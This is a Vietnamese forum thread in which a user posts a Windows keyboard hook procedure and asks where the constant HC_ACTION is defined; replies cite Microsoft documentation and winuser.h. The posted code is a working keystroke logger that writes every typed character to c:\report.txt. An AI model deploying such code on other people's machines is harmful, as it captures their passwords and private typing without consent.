Windows Hook proc

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam, 
                            LPARAM lParam)
{
    char ch;            
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {        
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            f1=fopen("c:\\report.txt","a+");
            if (wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                   BYTE ks[256];
                GetKeyboardState(ks);

                WORD w;
                UINT scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w); 
                fwrite(&ch,1,1,f1);
            }
        fclose(f1);
        }
    }

    LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
    return  RetVal;
}

có ai biết cho em hỏi hằng số HC_ACTION đó được định nghĩa ở đâu ko?()

Theo tài liệu của Microsoft thì HC_ACTION là 0
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644984(v=vs.85).aspx

đã biết bằng không nhưng không biết nó được khai báo ở đâu bạn ạ?

Trên máy mình (không phải VS), ở winuser.h, line 436. Bạn nên sử dụng 1 IDE tốt hoặc 1 editor tốt như Visual Studio Code chẳng hạn rồi “Go to definition” là được mà.

cảm ơn nhiều!@@,mới dùng visual nên ko biết vụ này.

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?